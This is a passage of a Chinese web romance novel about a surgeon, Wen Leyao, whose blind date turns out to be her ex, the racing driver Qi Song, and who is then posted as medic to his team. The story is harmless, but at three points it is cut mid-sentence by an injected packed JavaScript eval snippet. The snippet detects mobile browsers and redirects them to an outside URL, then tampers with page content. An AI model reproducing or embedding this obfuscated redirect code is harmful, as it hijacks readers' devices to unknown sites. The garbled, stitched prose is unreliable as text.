宿宁人民医院每周都要开大会,这周特殊,定在了下班前的半小时。 这次原本是温乐遥留科室值班。 但人事部的同事过来喊她,这次大会领导点名让她参加。 直到人员到齐,偌大的礼堂正前方大屏幕突然亮起。 是电视台采访的画面。 在班上看到自己的怼脸视频,温乐遥吓了一跳。 她是素颜,现实中偏瘦,在镜头里却刚刚好,有种清水出芙蓉的美。 很奇妙,温乐遥化妆后就是浓颜感,不化妆就是淡颜系。 同事们惊呼出声,所有人几乎都朝她看过来。 一些不认识她的,没听说过的同事第一次感受到了温乐遥多么漂亮。 “咱医院的形象大使不是李曼如吗?” “对,怎么换成这个小温了?” “说实话,温乐遥长得还挺好看的,比宣传部那个形象大使好看。” 陈兴闻讯而来,凑过去一个脑袋:“姐姐们还不知道呢?国庆前人家电视台的记者采访,一群领导在中控室陪她NG了十几遍,我们遥遥临危受命!看了一遍稿子就过了!瞧瞧这专业能力。” 有这段表现良好的采访,再加上陈兴这个大喇叭做宣传,温乐遥在班上的知名度瞬间提升。 这次大会重点,领导提到了“医疗援助公益项目”,作为队医指导教授医疗知识,为国家行业发展贡献自己的力量。 而温乐遥被几个同事围着,并没有听清这个项目的具体内容。 刚透露了这个小道消息的陈兴和大家嘚瑟:“怎么样,哥厉害吧!” 领导发言后,大会很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920461|177047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结束。 人事科同事再次跑过来喊温乐遥,让她去卫宁主任的办公室一趟。 卫宁,管理层里少有的女领导。 温乐遥临时救场那天,她在中控室全程观看,对这个小姑娘印象深刻。 后来电视台的采访视频已经在市频道播放,是卫宁提议在大会上播放,并且稍加表扬,鼓励医务人员向她学习。 温乐遥和这位女领导没接触过,敲开她办公室的门,主动做了自我介绍: “卫主任您好,我是温乐遥。” 目光一转,她看见卫宁对面坐着的老头,恭敬打了声招呼,“老师。” 外科主任徐鸿运笑呵呵地朝她招手: “你卫主任前两天就找我打听你,我说你忙得很,把她拒绝了。” “今天正好开大会,介绍你们认识一下。” 卫宁保养得宜,气质极好,明明年近四十,看起来也就三十岁,笑起来温柔和煦: “来,小温,坐。” 简单寒暄几句后,温乐遥隐约察觉到,这位女领导找她似乎有事。 果不其然,在卫宁羞涩地笑了笑后,提出今天的正题: “小温啊,我认为你很优秀,挺喜欢你的。” “所以冒昧问一下,你有男朋友了吗?” 温乐遥心下了然,摇头,“还没有。” “我有个侄子,比你大一岁,最近这俩月刚回国,自由职业者,喜欢赛车,爱运动。那小子人不错,就是不太会和女孩子相处。如果你感兴趣的话——” “方便定个时间,认识一下吗?” 喜欢赛车? 温乐遥陷入了片刻的沉思。 说不定,这个人是祁颂的粉丝。 不等温乐遥开口,像是生怕她拒绝,卫宁又补充一句:“我知道,感情这事强求不来,就当交个朋友。” 领导介绍对象的情况,以前也有。 但介绍自己侄子的,还这么真诚坦荡的,还是第一个。 温乐遥笑得恬静:“我方便的,卫主任。” - 虽然卫宁主任介绍的相亲对象听起来还行,但温乐遥知道,爸妈多半不会愿意。 他们更想让她找个工作稳定的,老实本分的,相互扶持着过完一辈子。 相亲时间定在了周六晚上,云涧茶隐。 前一天,温乐遥和爸妈打电话说了一声,夫妻俩果然不太满意,刨根问底似的,把温乐遥问得一个头两个大。 “我们没加微信,没有联系方式,我不知道是什么工作,没照片,父母工作不知道,家庭住址不知道。” 秦淑兰语气严肃起来: “你这丫头,什么都不知道就敢去相亲?万一是坏人怎么办?” “我们女领导介绍的,她侄子,” 温乐遥气笑了,“而且见面地点又不是什么偏僻的小胡同,在宿宁最好的茶楼,一壶茶价格都得500起步。” 是的,上次和林姓相亲男见面时,他点的是店里打折最便宜的那款茶。 “不管怎么样,明天见面的时候,一定要注意安全!” “知道啦,妈妈。” 电话那头传来一声元气满满的破锣音,刚变声的低音,却还喜欢扯着嗓子喊她: “遥遥,不然我明天去市里陪你相亲去吧!” 秦淑兰:“做什么美梦呢?快点去洗澡,洗完做作业。” 电话那头的少年声音渐渐变远:“哎呀我都好长时间没跟我姐聊天了……哼!” 温乐遥笑起来:“小远放学了?” “刚回来,一身臭汗,不知道放学后又去哪儿打球了,这都高二了,还这么不让人省心。” 温乐远扯着破锣一样的嗓子又喊出声: “遥遥,找个帅姐夫!怎么着也得比我帅才行!” 秦淑兰怒:“臭小子,回屋!” 或许是这次的相亲对象让父母难得的不够认可,也或许是卫宁介绍她和侄子认识时的真诚,又或许是这次的相亲对象也喜欢赛车。 温乐遥反骨作祟。父母虽然不看好,但她对这次的相亲对象,有了几分好感。 周六下午,云涧茶隐。 再次来到古色古香的茶楼。温乐遥在侍应生的引领下,绕过庭院里的流水小桥,雾气从假山处蔓延出来,来到琉璃屏风隔断的茶室里。 最近降温了。 温乐遥穿了件奶咖色风衣,长靴,里面配着灰粉色短裙,修长白皙的腿露出一截,匀净而细腻。 她时间意识很强,来得早。 提前半小时到了茶室,温乐遥还没来得及把这里的环境拍照给谢柔,就听到了皮鞋踩在木质地板上的声音。 温乐遥朝屏风后看过去。 穿着深灰色西装的男人微微躬身,避开矮小的屋檐,随着清澈悦耳的风铃声,一并迈步进来。 高挺宽阔的身形紧接着出现在她的视线。 “祁先生,请。”侍应生的声音,此刻格外清晰。 “嗯。” 漆黑的皮鞋踩上茶室的地板,男人抬眸,极具侵略性的眼神看向愣住的她。 优越的骨相,又薄又窄的双眼皮,右边眼角泪痣勾人,鼻梁高挺,唇薄而红,穿上西装简直就是游戏建模一样的存在。 又,又是他? 温乐遥大脑放空了两秒,随即,她看向祁颂身后。 会不会……又是他哪个朋友来相亲? 祁颂随意松了一下领结,沉稳中多了几分浪荡不羁。他面色不变,长腿一迈坐在茶室凳子上,淡声开口: “后面没人。” “你的相亲对象,是我。” 7. 文学城独发 07 晋江文学城 听到祁颂的话,温乐遥睁圆了双眸,脱口而出:“怎么是你?” 前段时间的相亲乌龙,竟然在此刻成真了。 眼见着他准备倒茶的手凝滞,温乐遥赶紧解释: “我没有嫌弃你的意思,只是想表达,没想到……相亲对象是你。” “我也刚知道是你,”男人抬手示意她坐下,撩起眼皮幽幽开口, “如果早点知道,就取消这次见面了。” “……” 这家伙舔嘴的时候不怕把自己毒死吗? 温乐遥坐在他对面,细白手指捏着茶盏,垂眸:“你主意正,我还以为你不会被逼着相亲呢。” 他依旧游刃有余:“长辈嘱托,过来应付一下。” “……” 连着被噎了两次,温乐遥气得鼓成小包子:“原来卫宁主任就是你姑姑啊。” 她记得,祁颂曾经和她提起过,自己有个随奶奶姓的小姑,在美国进修医学。 “如果她介绍的时候,告诉我相亲对象是你……” “我就直接婉拒了。” “?”这回轮到祁颂不爽了,他拧起眉梢, “三百八都能跟你相,我不配吗?” 380,指的是上次和温乐遥相亲的林先生所花的费用,现在是那位先生的代称。 就算祁颂用的是这么抽象的代称,温乐遥依旧秒懂。 温乐遥感觉自己和他现在像是小学生吵架,但还是忍不住怼了一句: “不是你刚才说要取消这次相亲吗?” “……” 祁颂哑火,战术性喝了口水,超绝不经意转移话题, “吃饭了吗?这里的江南菜好吃。” 温乐遥不爽:“我不想再欠你什么。” “我来请。” “好啊,”男人随意摊手,并不和她争抢, “客随主便,你点菜。” 这家茶舍有纸质版菜单,竹简制成的,上面覆着毛笔写的小楷,握在手里冰冰凉凉,沉甸甸的。 没有配图,温乐遥研究了半天,也看不出到底哪道菜好吃。 祁颂不疾不徐踱步来到她身旁,俯身。 他两指捏着手机,在某一块竹简上碰了下,屏幕上瞬间出现那道松鼠鳜鱼的图片。 温乐遥眼前一亮,惊讶:“这么高级!” 她笑着仰头看向他,小脸白嫩,蜜桃一样泛着细腻的粉色,眸子亮晶晶的,像是躲在他怀里撒娇的猫儿。 祁颂刚好环着她的椅背,大手撑在桌面上,像是将她护在身前。 温乐遥的呼吸柔绕着他坚毅的下巴,她身上有他熟悉而安心的香气,卷携着回忆涌上来。 多年没有这样亲昵。 尤其是重逢后两人别扭的气氛,都让这个不经意间的动作更显暧昧。 对视的瞬间,温乐遥和祁颂都愣了愣。 “……” 几秒钟后,两人心照不宣地错开视线,都刻意将距离拉远。 这顿饭吃得很慢。 由于刚才突如其来的暧昧气氛,尴尬弥漫在空气里。他们没什么话,几乎零交流。 温乐遥心不在焉地用筷子戳几下碗。 以前恋爱时,祁颂总是坐在她身侧吃饭,两个人低语呢喃,一转眼就能看到彼此的脸,鼻尖除了热腾腾的饭香,还有心爱之人独特的香气。 只是今天,他坐在她对面,仍然是吃饭,却像是隔着一条银河。 再也回不到过去了。 温乐遥自认不是过分感性的人,她在工作、学习或生活中都足够理性,也有自制力。 小时候她就能做到不吃父母口中的“垃圾食品”,高中时她也能做到不玩游戏不玩手机,大学她也能保证自己的绩点在年级前三。 她一向听话懂事。从不让父母费心的她,唯独在对祁颂的感情上控制不住。 对他,总是失去理智。 刚才和他离得那么近,温乐遥仰头看向祁颂时,险些撞进他的怀里。 他的眼睛狭长,深邃漆黑,泪痣点缀得恰到好处。 远看惊艳,近看心动。 曾经那个桀骜少年,如今仍然英俊挺拔,更多了几分让人安心的沉稳气场。 温乐遥努力平复慌乱的心跳。 她知道,自己一紧张就脸红,所以把头埋得很低,不愿让他看出自己的情绪。 注意到她的不自在,祁颂起身。 男人将衬衫袖口解开,慢条斯理挽上去,露出一截骨节分明的手腕。 他漫不经心开口,转身走到落地窗的长桌前:“你今天好像很热。” “……”温乐遥心虚,差点被茶水呛到。 男人松开领结,让侍应生把他的笔记本拿来,坐在长桌前准备工作: “慢慢吃,我处理一下工作。” “你不吃了吗?”温乐遥知道他训练消耗量大,饭量肯定不止于此,“你应该还没吃饱吧?” “现在的我和你一起吃饭,” 祁颂慢悠悠开口,言简意赅,“你好像吃不下。” “……”温乐遥默然。 她时不时转头看向祁颂的背影。 很少见他穿西装,裁剪合体的衬衫被宽肩撑起,锃亮腰带收拢着他劲瘦的腰,利落的线条,给他添了几分禁欲感。 靠窗的桌前,祁颂旁边还有个位置。 是并排的。 吃完饭,温乐遥用侍应生端上的温热毛巾擦了擦手,走到他身旁,想要和他聊聊这次的相亲,统一口径。 祁颂没注意她,专注地在电脑上完成工作。 温乐遥坐在长桌前,不看他的电脑屏幕。她有边界感,并不会好奇别人的工作内容。 他还在忙,她就打算刷会儿娱乐软件。 还在黑屏时,温乐遥转了转手机,看到手机里祁颂的侧脸。 她顿住,忍不住仔细打量他。 标准的国风帅哥,眉骨鼻梁高挺衔接得当,喉结锋利。 脸和身材足够优秀,气场沉稳,难怪从小到大都不缺女生喜欢,桌洞里的情书和礼物也泛滥。 落地窗外的秋日落叶被风吹起,小桥流水声哗啦作响,假山后的雾气弥漫在空气中。 恍惚间,温乐遥看到了高二的某个下午,红着脸偷看少年的她。 放学后的那场雨让温乐遥彻底乱了心弦。 她始终记得把伞搁在她手里,干脆利落兜住衣帽,一身黑衣冲进雨里的少年。 过完国庆节,回来上课后,温乐遥把卷子借给同学抄,自己则心不在焉地思考着,该怎么还给祁颂雨伞。 她坐在第三排,中间偏左一点的位置。 祁颂坐在最后排最左边靠窗户的角落。 如果她在大庭广众之下还伞,一定会有好奇的同学过来八卦。 如果她放学后偷偷还伞,又像是做贼心虚。 祁颂路过前排的几率为零。 她没办法在他路过自己身旁的时候,喊住他。 想了一遍,温乐遥放弃寻找两全其美的办法,打算等放学时喊住他,还伞,道谢。 当天下午第一节,是英语老师的公开课。 温乐遥是英语课代表,早就将这堂课的流程记得烂熟于心。 她知道该在什么时候救场,该怎样配合老师。 唯独—— 在安排座位上。 最后一排要坐六七个听课的领导,原本在后排的同学就要搬着凳子坐在过道里。 祁颂来得晚,难得穿了校服。 平常的他喜欢穿黑衣,衬得整个人阴沉沉的。 突然换上蓝白色的薄料校服,瘦高的他不仅把校服穿出了大牌感,还比平常更多了几分亲切。 英语老师站在正中间,笑眯眯招手示意他: “祁颂,往前坐e here~” 祁颂不爱学习,但他英语不错,从小就有外教私教,英语口语非常标准。 何况其他几个后排学生也被她“请”到了前排的过道中,祁颂这样的好苗子,坐在正中间更好。 平静地环顾四周,祁颂并没有去英语老师指定的正中间。 他单手拎着凳子,另一只手将书握成卷,阳光下勾勒着手背的青筋。祁颂径直走到温乐遥座位旁,整个人的气息都扑过来。 他放下凳子,和她保持着一定的距离,漫不经心地坐好。 祁颂坐在这个位置,在同学们看来,只是这位哥不想坐在正中间。 和温乐遥无关。 毕竟,这俩人在班上毫无交集。 就连后来的祁颂回忆起来,他当时只是看那个位置顺眼,仅此而已。 一堂课,一个位置。 0人在意。 但温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920462|177047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐遥却从他迈步过来时就心跳加速,紧张到大脑一片空白。 原本她还和同学们一起回头看他。 看他要坐在哪里。 这是为数不多可以明目张胆偷看喜欢的人的机会。 没想到,祁颂环顾一圈后,干脆利落地走到她身旁。 那短短的几秒钟,温乐遥的心脏像是被紧紧捏住,提起来。一直提着。 直到祁颂将凳子放在地上。 随着“咔哒”一声轻响,温乐遥的心跳也“咚”的一声重响。 她僵硬地将头转向黑板,屏住呼吸。 脑海中无数个小人在打架,她既希望祁颂能坐在自己身边,又害怕他离得近,会看到她脸颊上冒出的痘痘。 温乐遥第一次感受到心乱如麻多么煎熬。 她手心冰凉却湿濡,紧张地什么都听不到,耳畔只有自己如擂鼓的心跳,脸红的像是发烧,一直蔓延到耳后根。 祁颂的到来,像是蝴蝶振翅,不经意,却在她心里卷起了风浪。 直到上课铃声响起,温乐遥调整情绪,才堪堪进入状态。 对于英语老师的问题,她能流畅回答,但一想到身旁就是祁颂,仍然比往常紧张很多。 年少的回忆,如今能想起来的已经很寥寥无几。 但那节课讲的内容,祁颂偶尔跟着同学低沉附和说出的英语,她都记得一清二楚。 假装看不见,余光千百遍。 温乐遥全程端坐,却忍不住用余光看他一遍又一遍。由于紧张身体过于紧绷,已经入秋的宿宁,她仍然冒了汗。 直到下课前,温乐遥假装不经意地拿起同桌的小镜子,假装在看自己,实际上稍微偏了点角度。 她看着祁颂的侧脸,少年意气风发,眉骨立体,右眼角下的泪痣撩人。 有同学给他递了瓶水。 他刚喝一口,微仰着头,喉结滚动,薄唇被水染得红润,无论从哪个角度看都足够惊艳。 温乐遥的脸烧红起来。 她不动声色将小镜子放回桌子上,低头平复躁动的心跳。 直到英语老师心情愉悦上完了这堂公开课,祁颂几乎是第一时间站起来,捞起板凳就要走。 温乐遥手忙脚乱从桌洞里取出那把折叠得平整的伞。 起身,慌忙扯住少年的衣角。 祁颂一愣,回头,垂眸看着她。 细白手指小小的,却将他的衣服捏得死紧,粉嫩指尖都泛白了。 视线逐渐上移。 祁颂盯着温乐遥白皙洁净的脸庞,歪了歪头,表示疑惑。 她那双清亮的眼眸眨了眨,长睫微微颤抖:“谢谢你的伞,祁颂。” 他轻笑出声,低低的嗓音浸在她耳畔,一字一顿,很悦耳: “你终于知道我叫什么了。” “温乐遥。” - 回忆太过美好,直到现在想起来都像是甜蜜的泡沫。 忙完后的祁颂小幅度转动脖颈。 看见温乐遥歪着脑袋,俏生生的,清亮眼眸一眨不眨望着他,很明显陷入走神状态。 祁颂挑起眉梢,不动声色盯着她。 半分钟后,温乐遥察觉到自己的不对劲,缓过神来,却又猝不及防撞进男人幽深的眸子里。 “!” 温乐遥反应过来,脸颊蔓延起整片绯红,眼神也有些闪躲,“打扰你了,我过来就是想问问你……” “我们是不是该统一口径,方便回复卫主任?” “可以,”祁颂没什么表情,淡声回应, “你来定。” “就说……”温乐遥咬了下嘴唇,语气笃定,“就说你没看上我吧!” 他毕竟是卫宁主任的侄子。 如果当着领导的面说她没看上他,那也太big胆了。 打工人温乐遥卑微。 祁颂扯起唇角,似笑非笑,眸子里映出她清纯的脸庞: “噢,我为什么要当这个恶人?” 对于他的反问,温乐遥一时语塞。 祁颂不愿意这么说? 她抬起乌黑的眼眸,满眼真诚,隐含着不可置信:“难道,你又看上我了?” “……”这次轮到祁颂哑然。 他刚才因为逗弄她,眼底漾起的那一点笑意消散得干净。 他收敛神色,声音冷淡:“你想多了。” 8. 文学城独发 08 晋江文学城 看到他这副模样,温乐遥心里升腾起一股莫名的释然。 对。 这才是他。 虽然如她所料,却依旧怅然若失。 他果然很讨厌她。 温乐遥起身,去茶桌前倒了两杯清茶,趁着朦胧夜色,打算结束这次乌龙相亲。 “我知道你看见我心烦。这次碰面是意外,我敬你一杯。” “以后,我们不会再有什么交集。” “我保证,我不会再主动出现在你面前。”她信誓旦旦,嗓音清软。 不知道哪句话又惹到了这位祖宗,祁颂的脸色骤然沉下来,周身气压都变了。 “不会再有交集?” 祁颂冷眸盯着她,三指收拢,轻握着白瓷茶杯,似笑非笑, “希望你说到做到。” 惊讶的开头,不愉快的结尾。 已经碰了杯不再见面,两个人都沉默着没有再搭话。 直到月色被薄薄一层的云笼罩,朦胧光辉洒下来。 过分安静的沉默中,两人心照不宣默认此次见面结束,一前一后离开了茶楼。 - 卫宁很关心他们的相亲。 隔天她上班时,就发微信询问了温乐遥。 【不好意思卫主任,我可能不太合祁颂先生的眼缘。祝愿我们都可以找到合心意的另一半。】 温乐遥不能当着领导的面说看不上人家侄子,于是按着自己之前敲定的说辞回复。 卫宁当即怒气冲冲给祁颂打过去了视频。 “臭小子!哪有你这样的,”她痛心疾首, “人家小温是我们医院的院花,还是京医的本硕生,长得好性格好,人家都不一定看得上你,你倒是厉害,还挑人家。” 视频那头,穿着一身红色赛车服的男人仰靠在椅背上,他额前的碎发被抹上去,汗水顺着脸颊滑落。 祁颂唇角勾起轻笑,语气揶揄,像是风流浪荡的大少爷: “卫主任,是她看不上我,行了吧。” “行什么行!”卫宁知道他是故意假不正经,更生气了, “这么优秀的女生,等人家被追走了,你哭都没地方哭!” 祁颂眼底划过一抹晦暗不明的低落,唇角扯起自嘲道笑容,声音轻得几乎听不到: “早就哭过了。” 卫宁一愣,没听清,“你刚才说什么?” “我说,您越来越漂亮了。” “臭小子,少来!”姑姑气得嗔怪他一声。 祁颂小时候,她在美国念书、进修,并不知道老爷子最疼的这个孙子,儿时竟然在后妈手底下吃尽了苦头,还被扣上问题少年的头衔,被逼着去福利院了一段时间。 好不容易被亲妈接过去,又在那边被排挤。 日复一日的磋磨,明里暗里的区别对待,亲生父母的漠视…… 对于一个孩子来说,这就是最难熬的。 从小金尊玉贵、心高气傲的大少爷,在叛逆期到来的高中,越发桀骜不驯,险些走了弯路。 卫宁无比庆幸,祁颂高中遇到了能拉他一把,不让他浑浑噩噩混下去的贵人。 如今成为家喻户晓的赛车手,也算是事业有成。 除了感情方面,他几乎没有她这个姑姑操心的地方。 唉。 相亲失败也没办法。 余光触及桌面上的文件,卫宁收敛笑容,正色道: “对了,给你们车队提供的公益项目,人员可能会有些变动。” “您说。” 卫宁沉吟着:“队医指导,必须是男性吗?” 祁颂敛眉,语气低而缓:“女性也可以。只是我们那边训练强度大,临近比赛时还要同吃同住,比较辛苦。” 祁颂不清楚,其实医生的工作强度本就很大。 尤其是外科医生、急诊科医生这样要做手术、要值夜班的岗位,对体力、精力和专注力要求都很高。 就算是女医生,本身的工作也很辛苦。 “好的,我再筛选一下合适的人。”卫宁惆怅地摁着额头。 全医院符合标准的就几个男医生。 她和负责人已经找他们一一谈过话,但没有一个合适的。 自从上次采访后,播放效果非常好。 电视台领导主动和他们联系,想要争取此公益项目的拍摄权,做成纪录片。 卫宁指尖轻叩桌面,正心烦队医指导人选,余光瞥见电脑屏幕上,温乐遥代表医院被采访的那段视频。 卫宁双击鼠标,点开。 暗自感叹,怎么会有温乐遥这么优秀的女孩子? 长相清纯温软,口齿清晰伶俐,临场反应快,气场沉静,那一双乌黑透亮的眼眸面对镜头时毫无怯懦讨好感,透出的坚定,让人足够信服。 如果温乐遥能代表医院参加这个公益项目的话…… 卫宁心中的念头越来越强烈。 有了最好的人选,卫宁再怎么翻看人事档案,也没了心思。 直到她把外科主任徐鸿运请到办公室来,好茶招待,准备促膝长谈,劝这位护犊子的徐老放人。 没想到徐老非常支持徒弟参加这个公益项目。 卫宁笑起来:“都说您护犊子,舍不得小温离开科室,我还担心您反对呢。” “医生,就是要在不同的环境下都能坚守初心。如果只是在手术室里治病救人,走出去就忘了自己这个身份,” 徐老咂摸着杯盏里的茶,摇摇头,语气舒缓, “那不行,那绝对不行。” “我希望她能在行医这条路走得更远,这种公益项目,很好。” - 十月底。谢柔顶着一张明艳动人的脸,毫无形象地在视频那头哀嚎: “啊啊啊——该死的狗主管,说好了周三就能回国,突然给我改期到下周一!正好错过你生日!” “怎么办啊,宝贝,周五我没法回国陪你了。” 周五是10月31日,温乐遥的生日。 “没事肉肉,”温乐遥唇角扬起,笑得温柔, “我们开视频,你给我云过生日。” “那感觉能一样嘛!” “今年叔叔阿姨也会来吧?还有弟弟?他那么黏你,就算上学也得吵着要来吧。” 温乐遥思忖片刻:“爸妈可能来。但是小远升高二了,学习任务重,我爸妈不会同意他来的。” “也是哦……” “去年过生日还有我们这些家里人陪伴呢,”谢柔掩面,戏瘾一犯,呜嘤假哭, “今年就要孤苦伶仃了,可怜宝贝。” 温乐遥哭笑不得。 - 原本定好这周五要开视频庆祝生日。 但是,周三时温乐遥被人事部的同事喊过去,面见了大领导。 敲开办公室的门后,就看到了一屋子的领导。 她有些拘谨地打招呼,礼貌而客气。 “小温,听说你有国际认证的急救员证,是吗?”大领导和蔼地询问她。 温乐遥点头:“对,我大学喜欢过一段时间的赛车。” “喜欢赛车?好,很好!” “你看有没有兴趣参与这个公益项目?暂定一周一次医疗知识指导,咱们医院会给你提供经费补助。” 温乐遥接过这份材料,大致扫视了一下。 这种公益项目能减少赛车队员受伤的概率,切实帮助到他们。 而且对她晋升职称也有帮助。 最重要的是,补助金额让人心动。 但,项目合作方是—— CN溯风车队?! 温乐遥瞳孔地震,几个呼吸后才平复了心情。 她清楚,只要去CN做医疗知识指导教课,就势必会遇到他。 温乐遥接到材料后的沉默,让所有人都低声猜测起来。 形象大使李曼如见她犹豫,语气俏皮,轻飘飘地替她否定了这次机会: “哎,领导,一看小温就不愿意参加,外科大夫这么忙,哪有功夫管这些小事嘛。” 李曼如算盘打得响。 她就等着温乐遥沉默婉拒,顺势再次毛遂自荐。 温乐遥微微蹙眉,她第一次和这位形象大使打交道。 早就听说李曼如是极端利己主义者。现在还当着所有领导的面,给她的犹豫定性成:不愿意参加。 职场绊子明晃晃甩上来,演都不演了。 就算温乐遥不想去,现在被逼着也不得不反驳。 “我愿意参加。”她抬眸,目光坚定。 “外科大夫不只是治病救人。如果能帮助赛车队员掌握更多相关的医疗知识,从而少受伤,防患于未然,这也是我们医生的职责所在。” 温乐遥是结构化面试全场第一名,说几句好听的套话,还不是手到拈来。 “好,很好!” 大领导满意地露出笑脸,其他领导们也都紧跟着笑起来。 温乐遥深吸一口气,强压下狂跳的心脏,看见自己的老师——外科主任徐鸿运笑着冲她点了点头。 既然徐老都支持,说明她的选择没错。 嗯,没错。 温乐遥在心里安慰着自己。 - 当天晚上。 谢柔惊讶的表情太夸张,面膜都掉了下来。 “什么?!每周一次医学知识指导?那岂不是……”她赶紧把贵妇面膜再次贴在脸上,酒红色美甲轻敲服帖,慌忙询问, “宝贝,这是意味着,你以后每周都要见到祁颂了?” 温乐遥秀气的眉微拧,心情复杂: “运气不好的话,是这样的。” “但他是队长,比较忙,平常应该没空长时间在基地里训练吧?” 谢柔仰头倒在床上,感叹缘分奇妙,世事无常: “如果你和祁颂感情还好好的,能一起工作,那该是多么幸福的事情啊!” “说不定,你俩真是情缘未了呢。” “不要做梦啦,肉肉。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920463|177047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 温乐遥穿着奶白色吊带睡裙,也仰头倒在蜜桃粉的鹅绒被窝里,迎着头顶的暖光,乌黑透亮的眼眸眨了眨: “祁颂现在看我跟看冤家一样,那嘴毒得像刀子。” “没事,冤家也是家,你们现在照样是家人。” “谢谢^-^心死了。” 谢柔思考片刻,猛地坐起来,“对了遥遥,你啥时候去上第一节课啊?” “周五。” 温乐遥语气平静。 “什么?非得你生日那天?!” 谢柔表情管理失败,震惊地面膜再次掉下来。 - 周五凌晨。 爸妈在群里给温乐遥发了生日红包,还传过来一个视频。 老两口虽然五音不全,仍然跟着伴奏,给闺女唱了一整首生日快乐。 视频末尾,温乐远打了个大大的哈欠,将镜头转过来,露出和她神态相似的清秀面容,懒洋洋拉着长音,拖着变声期破锣一样的嗓音: “姐,生日快乐昂,记得给我找个帅姐夫。” “别找丑的。” 视频那头传来父母含着笑意的呵斥: “去你的!臭小子……” “快点睡觉去!” 第一次去训练基地只是了解熟悉环境,并不需要备课。 温乐遥仍然临时恶补了与赛车相关的医疗知识,半夜才昏昏沉沉睡去。 宿宁盛源区,市区的角落。 训练基地坐落在这里,她租住的房子离这里远,开车足有四十分钟才到。 和她联系的是一个黑瘦的男生,二十岁的年纪,穿着CN队服,大眼睛双眼皮,笑起来一口醒目的白牙,说话做事利落,倒是很阳光。 “温医生好!本来感觉简历照片就很漂亮了,没想到本人更惊艳!” “我叫高朗,叫我阿朗就行。” 黑瘦男生笑得一脸灿烂,自来熟地自我介绍,倒是个外交的好手。 来训练基地是公务,温乐遥穿着面试时的白衬衫,几乎看不出的淡妆。 她眉眼如画,气质温和,像是躁郁秋日中的一抹清风。 跟着走在偌大的训练基地,听他滔滔不绝讲述着各个区域,温乐遥耐心听着,时不时莞尔回应几句。 这里原本是祁颂大学时买下来随便练着玩的地皮。 一年前他在打比赛期间,分出不少精力整修,在奥地利特训回来,将它打造成了如今的训练基地。 全动态模拟舱,智能赛道系统,监控全覆盖保证队员人身安全,以及现在最先进的语音交互教练,都是顶尖核心技术。 整个基地的智能化现代化,让温乐遥大开眼界。 两人沿着路线来到体能训练区,阿朗看了看腕表,让温乐遥在休息室里歇一歇: “还有几分钟,队里的孩子们就来这边休息了,等下我介绍你们认识。” 说完,还颇为无奈地摊摊手:“如果让他们在训练的时候看到美女,一个个都要分心。” 温乐遥笑起来,白皙脸颊浮起淡淡的红,眼眸里晃动着清澈的光。 衬衫西装裙和小高跟鞋,从柔顺亮滑的头发到纤细匀白的脚踝,每一寸都透着清纯的高知美。 阿朗看着她的笑容,在心里连连感叹: 真好看。 性格也好。 高材生,专业能力杠杠的。 能求来这么优秀的队医指导是他们队最大的福气。 结果…… 想起他们不解风情的直男队长,阿朗就一阵头疼。 昨天一早,医院那边把指导人选定下来后,阿朗看着那边发来的人员简介,发现是美女后,乐颠颠来跟队长汇报这个好消息。 “哥!医院那边派了个二十来岁的女医生!是个漂亮的小姐姐!” “不行。” 祁颂头也没抬,戴着一副无框平镜在电脑前处理国际文件,英挺面容多了几分压迫性的斯文感,嗓音低沉: “漂亮在基地里没用。” “和医院沟通,换男医生来。” “哥,卫姨猜的果然没错,你真要驳回啊?” 黑瘦男生气鼓鼓地双手叉腰,一口白牙在黑瘦的脸上格外显眼: “这些年咱们队跟和尚庙一样,人家Jump都谈过几个了,你连女性朋友都没有。卫姨都告诉我了,你亲口说的女医生也可以,他们选择最优秀最适合的医生来给咱指导。” 一听到这些话是卫宁教高朗的,祁颂头疼。 难怪一套又一套。 姑姑前段时间刚让他和温乐遥去相亲,现在又派了个所谓最优秀的女医生来做指导。 男人低叹,修长指节按在发胀的眉心。 他无暇应付这个陌生人。 “哼!” “卫姨猜到你会反悔,让我转达,医院领导一致决定的,人家温医生明早就来,嘱咐我们好好招待。不许你拒绝!” 祁颂睁开漆黑狭长的双眸,盯着阿朗,一字一顿: “…温医生?” 9. 文学城独发 09 晋江文学城 高朗不明所以,愣愣地点头:“对啊,温乐遥医生。” “名字好听,证件照也好看,哥你别不信。” “信我,我眼光不会错!” “简历给我一份。” 乖巧递上去,阿朗把脸凑到祁颂跟前,一双大眼眨啊眨: “哥,你以前从来都是说一不二的。” “再难再苦,只要你答应了,一律都能做到。” “你都答应医院了,怎么能因为人家是女医生就驳回呢?” 凝眸盯着简历上那张熟悉的证件照,祁颂不动声色勾了勾唇。 还是她。 竟然还是她。 